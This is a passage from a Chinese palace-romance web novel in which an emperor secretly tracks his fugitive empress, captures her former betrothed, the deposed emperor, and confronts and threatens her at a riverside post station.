他甚至还饶有趣味地捏着那张信纸低低地哂笑了一番。
听见皇帝那样的笑声,倪常善带着自己的徒弟倪赐清冒出了一身的冷汗,倪赐清更是腿脚发软地差点跪倒在地上。
周奉疆将那信纸随手丢回桌案上,负手而立,瞥向倪常善:
“安排下去,朕现在亲自去接皇后回宫。”
他不等了,不等媜珠自己回心转意了。
周奉疆这一刻霍然想明白了一个道理,他这样在等待中度过的自虐根本没有意义。
他不能继续放任媜珠在外面作下去,算他怕了她了。
再把这只雀莺扔在外头,任由她扑腾着她那脆弱的翅膀四处折腾乱飞,马上他真的会被她气死的。
他不知道媜珠继续待在宫外还能给他表演出多大的惊喜来。他禁不住她的折腾了。
何苦呢,既然在外吃苦受罪还教训不了她,那他便亲自去将她接回来,她还是适合被他关在宫中由他来教育。
倪常善打了个寒颤应了下来。
第54章
顾及帝后二人的声誉,旁人当然是不会知道皇后偷偷逃跑的事情的。
当然,皇帝这会儿再悄悄过去追她,将她带回宫中,外人更不会知道。
他们只以为皇后是在春狩之时偶感风寒,病弱不能见人,所以数日来皆卧床静养,不见外人。
而皇帝不在他们眼前露面,也是为了贴身照顾他这心爱的女人。
这又不是从前没有过的事,实在是再正常不过了。
在从陈阳陵围场秘密出发去寻媜珠之前,周奉疆其实还抽空回宫了一趟。
他是悄悄去承圣殿见养母赵太后的。
赵太后哪里知道她女儿背着她干出的这惊天大案,她也和旁人一样,以为媜珠这阵子还真是又在陈阳陵围场里病了。
太后这几日心情也不好,思来想去,想到这些烦闷之事,总是提不起兴致来。
一则是忧心媜珠的身子,眼看着媜珠这样三病两痛不断的,实在太害怕自己当真哪一日命数不好,白发人送了黑发人的,那她这辈子活着还有什么盼头!
继而就是还在苦恼媜珠的肚子总是没有消息,她手里一日没有一个小皇子,储君一日未定,她这皇太后的位子坐的也并不安稳,总还是提前未雨绸缪地忧虑起自己晚年的处境来。
——万一媜珠真的有什么不好了,万一媜珠真的生不出小皇子,年岁久了,周奉疆对媜珠也淡了,宫里又有了他旁的爱姬宠妃娇妾来,这些人生的皇子做了来日的太子,那以后她做皇太后的威风还能朝哪里去摆?
没有真正的血脉之亲,谁会真敬着你、怕着你?
所以,这一日夜间,当赵太后被福蓉神色匆匆地唤起身,告知她皇帝过来了的时候,赵太后心中已隐隐有了几分不好的预感。
她披上外衫,见到冒着雨一路纵马疾驰赶回宫中的皇帝,看到他一脸冷凝之色,面色沉郁,披着的玄色氅衣披风也未来得及解开,如一团墨色般覆在他身上。
赵太后看他这样子,心已经塌了一半了。
她这时是真的害怕皇帝开口跟她说的第一句话就是,媜珠不中用了,请她节哀。
这倒不是赵太后存心要咒自己的女儿怎么样,只是这个世道里的人命都太脆弱,女人的命更是禁不住磋磨。
很多时候,仅仅是简简单单一场小小的风寒,都能夺去一个人的生命。
她实在见识过太多了。
而媜珠这几个月来长病短痛不断,赵太后又习惯了疑神疑鬼、凡事先往坏处去想,所以她这会儿会想到这一茬上去,实则也并不奇怪。
而且,她又想到,如果不是因为这样的大事,皇帝为什么会在深夜悄悄瞒着众人先回宫见她呢?这不就是为了让她心里先有个大概的底吗?
于是,赵太后朦胧的睡意一下清醒了大半,或许她是真的糊涂了,皇帝还没开口说什么,她先被吓的哭起了丧来:
“我好好的女儿交到你手里,你当年说好要千般万般地爱她护她的,这才不过几年,你就把我女儿给……让我这把年纪白发人送……”
周奉疆这一路冒雨纵马回宫,本来心情就烦躁暴怒,被赵太后这么无由来地先哭诉了一通,他躁意更盛,剑眉拧起,满眼的不耐烦。
“母亲,媜珠她无事,您先别给她哭丧了,反倒把妹妹的福气寿数都哭减了。”
不知道赵太后自己有没有注意到,皇帝今夜难得地唤了她“母亲”而不是“太后”。
就像许多年前,他们母子还在冀州时一样。
那时他和赵太后是最坚固的盟友,是彼此的依仗,是利益相同的共同体。
他想做的任何事,赵太后都会动用手中力量替他安排谋划,给他助力;而赵太后遇到的大小麻烦,周奉疆也会动手去替她摆平处理。
所以他一直都认为,媜珠也该是这样想的。媜珠也该完全和他一条心。
听到皇帝说媜珠没事,赵太后先愣了愣,一旁的福蓉也跟上去劝道:“太后宽心吧,陛下不是为了娘娘的事来的,娘娘她无事,您别牵挂悬心了。”
“倒也并非如此,儿子这趟来见母亲,所为之事,确实还与媜珠有关。”
周奉疆解下身后氅衣披风的系扣,将那滴着雨水的披风扔到身后宦官的手里,他接过巾帕随意擦了下额前的雨水痕迹,一面说话一面朝内殿走去,是有长话要和赵太后细谈的意思。
“母亲大约还不知道,儿子几日前早已接到军报,张道恭残部已被岭南魏军肃清,其人也被生擒,儿子命邓元益将他押回长安,不日,母亲也能见到您这旧日的女婿了。”
赵太后把他这话弄得摸不清头脑,腾一下又从内殿的椅子上站了起来,手指着皇帝问道:
“皇帝这话是什么意思?什么?什么?你一桩桩与我细细说,这邓元益是怎么回事?怎么还和他相关?岭南交州的主帅不是颍川公主驸马韩孝直吗?邓元益又是何时去了岭南?还有,你在编排我什么话?这张道恭怎么又是我旧日的女婿了?我可不认!皇帝你与我心知肚明,我的兖国公主去了那么多年,张道恭还算什么我的女婿!”
周奉疆没理会赵太后的满腹疑问,抬眸看着她:
“自古婚事,皆父母之命媒妁之言。如今妹妹没了父亲,只剩下您这个母亲,妹妹的婚姻大事,当然都听母亲一人安排。正好如今张道恭也要回长安了,儿子还想再问母亲一件事,母亲觉得,您是否要将您的女儿嫁给他这位亡国之君呢?”
“——母亲您别着急,我知道,您女儿现在做了赵皇后,可这不打紧。只要您的女儿愿意,只要您愿意,我仍旧可全您和妹妹的心愿,把妹妹嫁过去。”
赵太后立时被他这没头没脑来的含枪带棒的一番话气得汗毛直竖,捂着胸口哎呀哎呦了两声后,回过劲来的她指着皇帝尖声厉呵起来:
“胡言乱语!一派胡言!我辛辛苦苦养育你长大,扶持你坐上周家家主之位,今时今日你贵为君王,娶我的女儿做皇后、日后立我的孙儿做储君,是你应给我这母亲的回报。皇帝,你疯魔了,你在说什么胡话,怎么好端端又要把我的媜珠嫁给张道恭那个、那个没用的亡国奴?你这是在糟践我们媜珠!”
周奉疆哂笑:“张道恭没用?昔年有一回我有事不在家中,妹妹闹着要偷偷嫁给他,母亲不还是帮着妹妹开了家门送她出嫁过一次么?”
赵太后脸色难堪:“那时是你妹妹不懂事,寻死觅活地闹得厉害,还有,——我哪知道张道恭当真没几年就亡了国了?我若知晓后事,当年无论如何也不会偏帮着你妹妹胡闹。”
她冷冷哼了几下,又问周奉疆:“皇帝漏夜来承圣殿,就是想起了往事,要翻旧账和我这做母亲的算账的吗?”
周奉疆的神情严肃起来,声音低哑:“母亲您还不知道吧,您的好女儿,我的好妹妹,偷偷勾结张道恭与周婈珠,欲行谋逆事毒害我,而后偷逃出宫,去找她的旧日情郎了。”
“您的亲女儿早已恢复旧日记忆,只是在你我面前装聋作哑,瞒天过海地骗着我们,只为让我们放松警惕,让她能有脱身之时。”
“您女儿看不上我给的皇后之位,看不上我这个丈夫。她要去嫁张道恭了。”
……
当听到周奉疆将这件事原原本本、抽丝剥茧一般地细细讲给她听后,赵太后的脸色难看的比当日初初发现此事的周奉疆还要更甚些。
她又惊愕又恼怒,只觉得自己乍然遭受如此刺激,心脏都有些不好受了,脑袋昏昏涨涨地快要晕厥。
赵太后有满心的怒火,气得指着谁都想大骂一顿。
她先骂她那不成器的女儿:
“这讨债鬼托生的孽种,一辈子让亲娘操心的货色,我怎么生出这样、这样的逆女来……她这是要气死我这个亲娘啊!我真是好苦的命啊!
古语说,身体发肤受之父母,我含辛茹苦养大她,给她寻了个有用的好兄长,护着她叫她坐上这皇后之位,结果她这不中用的孽障,为了去寻一个亡国奴,不仅不要做这皇后了,连自己的头发也敢嚷嚷去卖!”
又骂自己的庶女周婈珠:“多些年没听说那死丫头的动静了,我以为早和张道恭死在外头了,没想到竟然还活着!当年在冀州侯府里,我就看她和她那贱妾生母不顺眼,那母女俩都不是省油的灯!未曾想她心思居然如此狠毒,她自己命不好嫁了张道恭那亡国奴做妾也就罢了,眼睁睁嫉妒我们媜珠的皇后尊荣,竟敢蓄意挑拨我们媜珠犯下傻事来,这贱婢!”
最后还要骂前准女婿张道恭:“那油头粉面的无能东西!其实这话我只是过去不敢说罢了,他们张家还没亡国的时候,我就冷眼瞧出他软弱无能又无用了!只是当时周鼎那老匹夫看中他做女婿,媜珠那缺心眼的孽障也吵着要嫁,所以我不敢说什么。这没用的亡国废物,自己当了阶下囚,偏偏不怀好心又敢回头找我们媜珠……做男人的,自己没本事,尽从女人身上钻研起来,不说夏桀商纣之流,就是那陈叔宝也比他强些!”
骂完后,她咬咬牙,眼神哀求地着看向周奉疆:
“伯骧我的儿,我的好儿子,你妹妹不懂事不听话,你万不能和她一般计较,你总归是看着她长大的哥哥,你要多宽忍她些。
我的儿,我的好儿子,你听娘的话,你去把你妹妹追回来,把她带回宫来,娘亲自去教训这孽障。正好,正好她不是什么都想起来了吗?你把她带回来,娘当面去训训她这不听话的混账东西!你们是结发成婚的原配夫妻啊,她不懂事,你不能和她真心计较起来啊!”
赵太后的一切反应皆在周奉疆意料之中。
他勾唇轻笑了下,面上的怒意却半分不少,冷声提醒赵太后道:
“母亲,妹妹这回犯的可不是一般的大错。她可是想弑君啊。既是对自己的丈夫不贞,也是对自己的君王不忠,母亲就只想言语上教训她几番就算了?您翻翻史书里,那些想要弑君的后妃们,连同她们阖族上下都是什么下场?”
赵太后以为周奉疆是要动真格的了,她捂着心口倒吸了几口气,满眼的惊恐:
“那她是你妹妹啊!你还要怎样?你要怎样?我的儿,我把我的命给你拿去成不成?你要杀就杀了我泄愤,你不能伤你妹妹,你不能废她的后位,她只是一时不懂事、她……”
周奉疆起了身欲向外走去:
“母亲这话折煞儿子了,母亲对儿子有养育之恩,儿子以天下养还来不及。儿子也不会废她的后位,只是——等我把她抓回宫后,不论我如何教训她,母亲……”
“——我这做母亲的绝不多说半个不字。”
赵太后连忙应下,“娘都听你的。从小你做兄长时她就最听你的话了,现在她犯错也该你来教训。只要你留着她的皇后之位,等她回了宫,不管你怎么惩戒她,母亲绝不会有半分异议!”
自卖发之事发生后,施氏姐妹实在对这位赵皇后也怕得不行,连带着皇帝也令她们严加看管皇后,所以之后的数日里,不论如何车马劳累颠簸,姐妹二人中总有一个人要留着自己的眼睛盯在皇后身上的。
她们是真的太害怕赵皇后会趁着她们不注意的时候做出什么傻事来。
——这倒不是说她们担心皇后有轻生之念,实际上她们担心的是赵皇后这么惦记着卖头发,会不会哪天夜里趁她们都睡着了,她自己闷不吭声地起来一气儿先把自己的头发给剪了,然后跟她们说这下这头发是非卖不可了。
要真的有这一日,那么赵皇后的头发落地之后,她们姐妹二人的人头也快落地了。
如是数日后,有天夜里,在收到皇帝命人传来的密信后,施氏姐妹寻到了媜珠面前,神情凝重地问了媜珠一个问题:
“娘娘,河间王……也就是如今的建德皇帝陛下来了,您想现在就见到他吗?”
第55章
在这之后的数年里,哪怕后来媜珠的确心甘情愿地爱上了他,并且还为他生下了两个孩子,但周奉疆仍一直纠结于一个问题不放:
——如果现在让你回到陈阳陵围场的那个夜晚,那一刻你还会选择再逃跑一次吗?
看着他那样充满纠结与不甘的眼神,媜珠却依旧做不到给她丈夫一个善意的谎言。
每一次,她都会很诚实地告诉他说,她还是会走的,她还是会选择用自己的方式逃出宫来看一眼外面的人间。
纵使的确吃了不少的苦头,可她从来都没后悔经历这一趟充满苦涩艰辛意味的旅途。
虽然后来施氏姐妹看管着她怕她再想出什么诸如卖头发之类的昏招,但她们并不能阻拦她的眼睛所亲眼看到的世界。
自陈阳陵围场出逃后的大半个月时间里,媜珠和她们一路南下,顺顺利利地走过了好几个州郡县城,颇为深刻地领略了一番如今的世风人情。
而她的眼睛里所能看见的,是州郡晏然,四海安宁,百姓和乐,甚至有许多较为富庶的村镇已有夜不闭户之风。
她看到一路上几乎所有人的脸上,不论是农户百姓还是贩夫走卒之流,他们都透着对未来满满的希望。
这一切皆是在告诉她,这是个四海升平、蒸蒸日上的太平年岁。
出逃在外的日子里,她几乎鲜少再提到那个男人,她没有去细思过当发现她离开时,他会做出何等的反应,她也不敢去想,面对她的逃离和背叛,他是会怒火中烧命人追捕她回宫,还是在愤怒之后便渐渐将她抛之脑后,继而很快就会有他的新欢爱妾。
可就算她不敢想也不敢提,她却总会从旁人的嘴里听到这些人在如何谈论他。
某日傍晚时分,施氏姐妹带着媜珠乘坐马车途经一山林小村中,见村中有一户人家,家中唯有老妇与老叟二人,她们便叩门请求借宿一夜。
施氏姐妹又提着三四只在山中猎得的野鸡野兔赠与两位老人家,充作她们三人一夜的借住费。
那两位老人家自是欣然答允,连声称呼她们是“贵客”,当下开了蓬门请她们三人入内,老叟还主动上前牵了她们的马儿进去,说要去抱些草料来替她们喂马。
老妇人在围裙上擦了擦手,又下厨去与她们新做了几个小菜。
正值春盛时节,一桌的农家菜色,虽比不得宫中御膳之名贵精细的千分之一,但媜珠尝在口中,反而也别有一番滋味。
老妇人熬了一锅尚算浓稠的米粥,用新笋炒了一截腊肉丁,凉拌了一盘野韭菜,又有细嫩的豌豆苗炒了野木耳,一盘村中池塘里刚捞上来的新鲜菱角儿,还另采了自家屋后的野百合给她们煮了一壶百合茶汤。
两位老人家还说要把施氏姐妹打来的野鸡拔毛处理了,夜里熬一锅鸡汤,叫她们这些贵客明天早上走之前吃了,给她们填饱肚子。
施氏姐妹和媜珠皆连声拒绝,说是叫他们留着慢慢吃。
晚饭间两位老人家也和她们三人攀谈起来,那老叟因说,见她们的马车好些地方木板都松动了,待饭后叫老妇人提着灯笼与他照亮,他拿几块新木板给她们的马车修缮修缮。
劳动这样年纪的老人家,媜珠颇为不好意思,但那老妇人却笑称:“贵客别瞧我家老汉是没用的年纪了,好像他就不中用了似的。也就是前几年他多病多灾,总瘫躺在榻上没精神。不过这一二年来,新皇帝坐上了龙椅,天下太平,咱们百姓人家干劲也足,浑身都是力气!他呀,从前是我们村里最精细的木匠呢!”
媜珠低头将一块鲜笋放入口中,轻声接了话茬:“是么?这倒是什么缘故?”
老妇人一听这话,口中直唤哎呦,扬起额前那快要掉尽了的眉毛:
“还能为什么缘故?当然是那张家的皇帝不是个东西,不如周家的皇帝好了!从前那、那什么建德皇帝在时,真真处处坑害咱们老百姓,恨不得把咱们敲骨吸髓最后一口肉都吃干了。这地方上的层层狗官,打着皇帝的名号日日苛捐杂税不止,我们老人家辛辛苦苦种那三亩地,他们一岁恨不得要收我八亩地的税!那张家皇帝的江山都要塌了,他倒好,什么也不管,就知道指着百姓的钱给他那娘修行宫去享福去了,我呸!”
张道恭即位后,其母陈德妃被尊为陈太后。
因张道恭多年就藩于北地,常年不曾尽孝于陈太后膝下,故即位之后,陈太后暗示儿子,希望儿子可以为自己在洛阳城东修建温泉行宫,用以让她颐养天年,张道恭为了弥补母亲,当即同意。
而面对当时国库也极为紧缺的情况下,这笔为陈太后修行宫的钱,当然只能让层层官吏去割地方上那些百姓的血肉了。
张氏王朝之覆灭,自不能荒唐地怪罪于陈太后一妇人身上,然而同样不可否认的是,这件事确实使得民怨更加沸腾,很大程度上动摇了张家天下最后的那点根基。
毕竟,皇帝如果以打仗征兵筹集军饷的名义向百姓要钱,百姓们只能敢怒不敢言,还不好多说什么。
可当他们明明白白地知道皇帝要钱的目的是给他老娘修行宫享乐时,哪怕是再没读过书、再愚钝的老百姓,心里也该要不好受了。
老妇人说起这一茬,一旁的老叟立刻接了嘴:
“所以那几年嘛,天下动荡,咱们这把年纪的老东西都朝不保夕了,还有什么过日子的劲头?就是手里攒点闲钱,马上也叫那些狗官搜刮走了,老头子我前些年才整日浑身没劲地躺在榻上不想动弹,只想等死。如今真好了,如今皇位换周家的皇帝坐了,这天下倒是变了个样啊。咱别的不多说,哼哼,好歹这县太爷和乡里正可不敢像前朝那样盘剥我们穷苦人了。”
老妇人喜滋滋地又盛了一碗米粥,用筷子搅了搅,与媜珠显摆道:
“不怕贵客笑话,我家大孙儿在县城书院里读书,上月回来与我们说,先生教他们写文章,在文章里头,这叫什么休明盛世、澄清天下。”
瞧见老妇人的高兴模样,此情此景下媜珠也垂眸附和着微笑,但却一言不发。
其实这一路上,这并不是媜珠第一次听到有人私下议论说张道恭不如周奉疆了。
在百姓们眼里么,周奉疆就算出身卑贱,是娼妇之子,又“忘恩负义”、弑杀兄弟、造反夺位,可那也没杀到他们头上,他就是当年把他养父周鼎也给杀了,和他们老百姓有什么相干?
不过是一家子兄弟争家产,狗咬狗都不是好东西,被咬死的纯属自己活该了。
相反,一向“兄友弟恭”毫无道德污点的张道恭则更让他们嫌弃唾骂。
因为张道恭对他的兄弟们太好了。
他的兄弟们、宗室们,到了地方上做藩王后,处处盘剥百姓、欺男霸女,哪怕有人告到洛阳去,张道恭为示仁慈,也是不想节外生枝得罪各地的藩王们,对这些地方藩王皆轻拿轻放,从无重责。
——仔细说起来,媜珠路上还曾听人说过,要是张道恭学学周奉疆当年那个做派,把他的兄弟们全砍死算了,这倒于百姓是件有福的益事。
施氏姐妹看了看媜珠的神色,心底反想道,这老妇老叟可真不是她们蓄意请来的托儿,这些可实在是完全在她们意料之外的事。
当真没有人故意安排旁人到皇后跟前去说这样的话。
这天夜里,就是在这两位老人家的家中,施氏姐妹寻到媜珠,向她问出了这个问题:
“您想去见建德皇帝陛下吗?”
媜珠起先大惊:“河间王殿下?——他不是在岭南吗?为什么会出现在这里?——你们又是如何知道的?”
面对媜珠一连串的问题,施氏姐妹便借口解释说,是指派她们保护她的穆王殿下以飞鸽向她们寄信来的,告诉了她们建德皇帝此刻的动向。
因为听说媜珠愿意逃出长安宫城来见自己,建德皇帝大为之动容,几乎涕泪俱下,所以他愿意冒着极大的风险悄悄回到中原,就是想要提前见到媜珠,然后带着她一起再回岭南,让媜珠从此之后陪在他的身边,陪他一起谋复国之业。
听到施氏姐妹如此解释,媜珠倒是相信了下来。
她轻抚着自己的胸口平复心绪,当再次知道这个旧日的情郎离她如此之近时,竟让她还恍惚地有了种不真切的错觉。
自当年被迫一别,已多少年矣?
她知道他有了他的后宫妃妾,有其他的女人,甚至连她自己的二姐姐婈珠,也成了他的淑妃;而她同样被人强占后糊里糊涂地嫁了兄长为妻,多年来失身于兄长无数次。
如果没有意外的话,今时今日,她本应该是他的妻子,他们才应该夫妻一体,生死相守,荣辱与共,永远站在一起。
到如今世事浮沉,惟有叹一句造化弄人。
不论过去了多少年,中间经历了多少事,只要一想到那个她被兄长追回冀州的雪夜,想到她被兄长粗暴地塞进马车之前,她挣扎着最后望向跪倒在雪地里的情郎的那一眼,媜珠的心还是会痛到抽搐。
或许她最无法原谅周奉疆的,不是这些年他对她身体的玩弄侮辱,而是他毁掉她婚姻、改变她人生的那一刻。
她的一生,是在那个雪夜里被人骤然更改,走向了另一条她从未设想过的道路。
更让媜珠绝望的是,其实在她恢复记忆之后,她便已经很清楚地认识到,她不会再和张道恭做夫妻了。
——她不可能再和他有任何男女之情、有女子对夫婿的爱慕之情。
因为从周奉疆对她做的那些事里,她已然通晓男女之事,明白了夫妻之间到底因何而被称为夫妻。
失身与兄长后,在床榻之间,她绝望地发现自己无法再想象出她和任何其他男子做这种事情的样子了。甚至只是想一想,都让她恶心得想吐。
包括她认为她曾经深爱的情郎。
她对他没有这种感觉。
同样的,虽然她没有立场指责他纳了别的妾室,可只要她一想到,男女之间那样亲密无间的事情,他也曾和别的许多女人做过无数次,她也会感到恶心,她无法想象自己会去接触他的场景。
所以,即便她费尽心血和努力逃出兄长身边,一心想要跑去岭南,想要见张道恭,她也并不是为了和他再续前缘。
在她心里,张道恭终究还是她旧日的友人,是她生命里一个重要的故人。
过去在冀州,他们也是青梅竹马,情意深厚,他陪她度过许许多多美好欢愉的岁月。
哪怕阴差阳错做不成夫妻,为了旧日的那段情意,她还是愿意去见他一眼。
只一眼而已,就当是了结她心底多年来的执念了。
他们之间的姻缘被毁已成定局,她无法更改既定的事实,就只能尽可能自己去结束这场执念的根源。
或许再见他一面,她就能彻底从过去的梦魇里走出来了。
因此,当面对施氏姐妹抛出的问题时,媜珠只在短暂的犹豫后便答允了下来。
“当然,我好不容易逃出来,不就是为了能和他再见一面?”
施氏姐妹压下眼底对赵皇后的怜悯,笑着应了下来:
“是,那咱们明日早晨出发,大约夜间就能到地方了。待娘娘和建德皇帝陛下见过面后,我们姐妹再护送娘娘与建德皇帝同往岭南去。”
这天夜里,媜珠向这家的老妇人借了热水,将自己身上多日来车马劳顿中沾染上的尘土给清洗干净,甚至还特意不嫌麻烦地洗了头发。
到底当年他们分别时,正是彼此最风华正茂的年纪里,在媜珠记忆中的张道恭一直是那个年轻温雅、风度翩翩的洛阳王孙,而她希望在他的脑海中,她也是当年最美丽的模样。
她将自己梳洗了一番,想要尽可能体面从容地去见他。
翌日清晨,媜珠与施氏姐妹一同辞别了两位老人家,驾着马车继续赶路去。
整整一个白日里,因为过分的激动和心底那莫名的忐忑与不真切感,媜珠在马车中静坐了一天,一言不发,滴水未进。
直至这日的黄昏时分,薄暮冥冥,施氏姐妹驾着车带媜珠进入了夔州的州治所奉节县城内。
夔州地处长江三峡之处,其城又雄踞在瞿塘峡口,形势无比险要,自古历来是川东军事重镇、兵家必争之地,亦巴蜀之门户。
入奉节后,她们一路往城东而去,在临近长江边的一处驿站中停了下来。
施氏姐妹指着那驿馆的大门与媜珠说:“娘娘,建德皇帝已在其中等着您了,您可进去了。”
她们入县城后路上耽误了点时间,这会日头已经下山了,夜幕渐渐笼罩天际,一片昏暗中,媜珠的心跳忽然加速,让她整个人有种下意识的强烈不安感。
这一切都透着一股诡异的反常。
媜珠回首望向施氏姐妹:“你们确定是在这里?他……他如今的身份,即便是要见我,怎么会选在这种驿站里呢?这不是太危险了吗?”
施二娘轻笑:“娘娘不必忧虑,一切有穆王殿下安排,不会叫人起疑的。娘娘,您想见的人已经在内等着您了,您快进去吧。”
媜珠深深呼出一口气,强行压下心底的不安感,对她们微笑谢过后,终是提着自己的裙裾一步步踏入了这间驿站内。
这驿站的结构并不复杂,她步入主院内,见左右厢房都关着,惟中间正房留了一道门缝,心知张道恭必是在那等着她了。
她知他现下面临的艰难处境,所以更不想满面忧愁地去见他,让他看了之后再觉凄凉,她希望自己还是欣喜的,快乐的。
所以她努力回忆着从前他们在一起时那些欢愉之事,让自己面上露出了满心欢喜的笑容。
她一步步往里面走去,一边轻声唤他:“六郎,六郎,是我。”
六郎。
上一次她这样唤他,又是什么时候呢?
是在偷偷出嫁的那个雪夜里,她穿着嫁衣坐在花轿中,依偎在他怀里,对他说:“六郎,六郎,我害怕。我怕我兄长会追来,我怕我不能顺顺利利地嫁给你……”
她的手终于触到了那扇微凉的木门,而后轻轻地推门而入。
在进入房内的那一刻,媜珠的神经其实已经警觉了起来。因为她恍惚间以为自己又嗅到了那个男人身上的气息,是属于他兄长的气息。
自古天子大多御用龙涎香,而媜珠更喜苏合香、沉香和玫瑰的香气,故她闲暇时将这几种香料融在一起,调制了“龙懿香”,之后变成了长安宫中定制,专供帝后二人所用。
这是独属于他们两人会用的香气,独属于他们的味道。
这个时候,她怎么会在这里闻到这龙懿香的气息呢?
媜珠颤抖着在这昏暗的房间内又轻唤了一声:“六郎,你在吗?你在哪里?你为什么不说话?”
她话音刚落,“哗”的一声,似乎有人扯下了什么东西,是蒙在夜明珠上的黑布被人揭开了,偌大的房间顿时明亮了起来。
媜珠眨了眨眼,而后她便看到了令她永生难忘的一幕。
这个房间里,一直都有两个男人在等着她。
她看见了那个被她抛弃的兄长,也看到了她曾经的情郎。
周奉疆身着墨色织金的帝王十二章衮服,配大授大带,气定神闲地仰首坐在主位的太师椅上,而他脚下踩着一个被五花大绑、以屈辱姿势捆成一团的削瘦男人。
和媜珠惊恐而不敢置信地眼神对上后,周奉疆轻轻哼笑了下,足下用力,几乎将跪倒在地的那个男人的脊背都直接踩碎,那男人随即发出痛苦的闷哼声。
“媜媜,在外时日颇长,你可有想念兄长?”
“媜媜,过来,到兄长这里来。你要见的人,兄长替你找来了,你可以过来仔细看看他现在的样子。看完了,就和兄长一起回家,好吗?”
媜珠脸上的血色在那一瞬间退得干干净净,连唇边都变成了一片苍白。
她只觉遍体冰冷,连十指的指尖都是冰凉的,几乎连触觉也失去了。裙裾之下的双腿颤抖起来,她连哭都不会哭了,只能睁着一双含泪的美眸绝望地看着他。
那个被他踩在脚下的男人,是她昔日的情郎,也是这天下旧日的君王。
是她今天满心欢喜来见的人,张道恭。
可,为什么他会变成现在这个模样呢?为什么一切会变成现在这样呢?
这和她想象中的场景完全不一样!
在媜珠看见张道恭同时,跪伏在地的张道恭也看见了他。
他们二人四目相对时,除却对眼下处境的屈辱之外,彼此都觉得对方格外的陌生。
彼此的眼睛里,都再难找到当年的情愫了。
她不再是懵懂单纯的少女,他也不再是意气风发的河间王。
他们都不过是笼中囚。
一个男人是绝不愿以这等姿态见到自己曾经爱过的女人的,何况还曾是做过天子的张道恭呢。
然而也就是在这样的场面里,他唇瓣微动,还是轻声唤了媜珠一句:
“媜珠,六郎在这里……”
媜珠哭不出来的泪在这一刻如断线珍珠般倾泻而下:“六郎,六郎……”
周奉疆仰首冷眼看着这对昔时的苦命鸳鸯,对媜珠的怒意已达到了快要喷泄的顶点了。
他不动声色地用力将张道恭踩到再说不出一句话来,冷声呵斥了媜珠一声,而后一字一句地问她:
“媜媜,我只问你一遍,你现在是想要跟兄长回长安去,继续去做你兄长的开国皇后,还是宁愿陪他一起当亡国奴?”
不等媜珠先开口,周奉疆又提醒她道:
“媜媜,想想你的母亲、你的外祖赵氏全族,想想你留在长安的那些周氏亲族。你好好想一想,好好地回答我。是愿意跟我回去做皇后,还是跟他一起当亡国奴?我只问你一遍,只给你最后一次机会。你只有一次张口回答的机会,听见没有?”
媜珠的恐惧与绝望在这时也攀升至了顶点,她口不择言地胡乱顶撞他:
“周奉疆,你如此毫无底线,你的子孙后代也会遭报应的!”
她尖声和他争吵:“自古鲜有以如此待前朝之君者,你如何待前人,后人也如何待你的子孙!难道你的江山就永远稳固、千万年不倒?难道你的子孙后代不会有做亡国奴的吗?你今日如此羞辱他,数百年后你的江山亡国了,后世之人又该如何凌辱你的子孙!你不积前德,必祸及后世!”
周奉疆面色铁青地踩过张道恭的脊背起了身,一步步走到浑身僵硬的媜珠面前,轻轻抬起她的下巴,逼她望着自己。
“周媜珠……我给过你最后的机会了。”
他冷笑,“朕不论后世,只论当下。今朝天下为朕所有,万事皆顺朕意。你忤逆朕,朕便会让你知道后果是什么。该算的账,朕会一件件和你细细算。”
第56章
媜珠即便是先前再迟钝,到这一刻,她也该明白她是从头至尾都在这男人的掌心里,没有飞出去过半分了。
大半个月来车马劳顿,她满心期盼着以为迎来的是自由,所以不论吃了多少苦头她全数生生咽下,没有半分抱怨,结果换来的就是这一场闹剧和玩笑。
一场空。
原来一直以来他什么都知道。
他知道她恢复了记忆,知道她和旁人密谋着要逃跑,知道她要来见张道恭。
他看着她在他掌中小心翼翼地艰难挣扎,看着她用这样粗陋而笨拙的方式试图逃跑,他一声不吭,装作不知情,就是想看她在最满怀希望的时候跌入谷底,以她的绝望和无助当做自己的取乐之事。
不过……忽然想到了另一件事,让媜珠整个人又是猛地一发抖,身上寒意更甚,几乎连心脏都快停止跳动了。
如果周奉疆一直都对她私下的那些小动作了如指掌的话,那现在他已追到她面前来了,——那些帮过她逃跑的人呢?
她的弟弟穆王一家,为她传信的冯夫人,连带着整个颍川公主府……
这些人现在怎么样了?
媜珠那般恐惧而僵硬的眼神落入周奉疆眸中,他当下便猜出了她心中所想。
——到这个份上了,她居然还有闲心去思量那些人的死活,他是该真心夸赞一番她的善良体贴,还是明明白白告诉她,她有多自不量力、多愚蠢不知好歹?
周奉疆一手捏着媜珠的下巴,另一只手温柔又爱怜似的拍了拍媜珠的脸颊:
“傻姑娘,也真难为你心里记挂着这么多人,这时候了还有空惦记着旁人会是什么死法。”
这话里就是在明摆着告诉媜珠那些人的下场了。
他从来都不是清瘦的男子,再加之多年的戎马生涯,令他有极健硕颀伟的身量,他站在媜珠面前时,便可轻易将媜珠整个人笼罩在他投射的阴影之下。
他的怀抱就像是专用来囚禁她的牢笼。
媜珠一言不发,惟有美眸中蒙上的那层水雾瞬间凝结成一颗珍珠状的泪,立时便滚落下来,砸在男人的手背上,而后顺着他的手背又落到地上,没发出丁点声响。
如同她的委屈与不甘,在这世上从来也是无声的,无人在意的。
见媜珠落泪,周奉疆面上的笑意愈发残忍起来。
他忽然松开了扣住她下巴的那只手,后退了两步,漫不经心地负手在这偌大的驿站正房里慢慢踱步两圈,似是在仔细打量着这间屋子里的每一处细节。
媜珠除了觉得惊恐、屈辱、愤怒之外,当下又因他这般举动而有些不解。
大约转了几圈后,周奉疆才缓缓转过身来,隔着几步的距离看向媜珠和跪倒在地的张道恭:
“媜媜,知道朕今日为何要让人带你来这里和你的旧情郎相会么?”
媜珠自然是不明所以的,可她感觉到,当周奉疆说到“这里”两个字时,张道恭一下子变得极为不安和恐惧,像是很害怕周奉疆之后说出的话似的。
“媜媜,你不是素来觉得朕出身卑贱、忘恩负义、手段残暴、不仁不义、恶稔罪盈么?你不是觉得朕配不得你俪阳公主之孙女的高贵身份么?你是公主孙女,他是当朝皇子,你们都是凤子龙孙,惟有你们才堪相配,你一直把他当成你自己毕生的良配。”
“当年,你口口声声也说要永远陪着他,你说你知道如今天下局势危急,知道他身上担着的重担,你还说,哪怕他以后真的要做亡国奴,你都不在乎什么荣华富贵,誓死会永远追随他……”
周奉疆似笑非笑地望着他们,“朕今日带你来这里,是要当着你旧情郎的面,给你讲个有趣的故事听。你听完这个故事了,若还当真要和他双宿双飞,一生认准他,那朕也惟有叹服。”
